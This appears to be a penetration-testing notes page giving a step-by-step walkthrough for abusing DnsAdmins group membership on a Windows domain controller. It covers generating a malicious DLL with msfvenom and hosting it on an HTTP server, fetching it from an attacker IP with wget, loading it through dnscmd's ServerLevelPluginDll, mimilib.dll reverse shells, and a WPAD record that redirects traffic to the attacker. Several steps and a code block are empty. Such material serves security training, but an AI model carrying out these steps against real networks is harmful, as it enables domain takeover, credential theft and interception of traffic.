githubEdit

dnsadmins

Approach to Exploiting DnsAdmins

1. Generate a Malicious DLL

msfvenom -p windows/x64/exec cmd='<command>' -f dll -o <dll_name>.dll

2. Host DLL on an HTTP Server

python3 -m http.server <port>

3. Transfer DLL to Target Machine

wget "http://<attacker_ip>:<port>/<dll_name>.dll" -outfile "<dll_name>.dll"

4. Verify Membership in DnsAdmins Group

Get-ADGroupMember -Identity DnsAdmins

5. Load Custom DLL into DNS Server Configuration

dnscmd.exe /config /serverlevelplugindll <dll_path>

6. Check Permissions on DNS Service

Retrieve the Security Identifier (SID) of the user:

wmic useraccount where name="<user>" get sid

Check DNS service permissions:

sc.exe sdshow DNS

7. Restart DNS Service to Trigger Payload Execution

8. Verify Exploitation

Check if the user was added to the Domain Admins group (if applicable):

9. Cleanup (if needed)

Check for the malicious DLL entry:

Remove the DLL entry from the registry:

Restart DNS service after cleanup

10. Alternative Exploit - WPAD Attack

Disable WPAD blocking:

Create a WPAD DNS record pointing to the attacker's IP:

Commands Used:

  • msfvenom

  • python3 -m http.server

  • wget

  • dnscmd.exe

  • wmic

  • sc.exe

  • net

  • reg

  • Set-DnsServerGlobalQueryBlockList

  • Add-DnsServerResourceRecordA

PowerShell Cmdlets:

  • `Get-ADGroupMember

Using Mimilib.dll

As detailed in this postarrow-up-right, we could also utilize mimilib.dllarrow-up-right from the creator of the Mimikatz tool to gain command execution by modifying the kdns.carrow-up-right file to execute a reverse shell one-liner or another command of our choosing.

Code:




Following attacks can be performed:

  • DNS management is performed over RPC

  • ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line

  • When a member of the DnsAdmins group runs the dnscmd command below, the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll registry key is populated

  • When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)

  • An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

Leverage DNSAdmins Access:

Attack:1 - Reverse shell attack or admin access

Generate malicious DLL

Download file to target

Load DLL

Finding user's SID

Check permissions on DNS service

Check DNS service status

Checking admin group membership

Checking registry key change

Deleting registry key

Start the DNS service

ATTACK:2 - Command execution attack - mimilib.dll

Mimilib.dll

Disable global query block

dnsserverglobalqueryblocklistarrow-up-right

Adding a WPAD Record

Last updated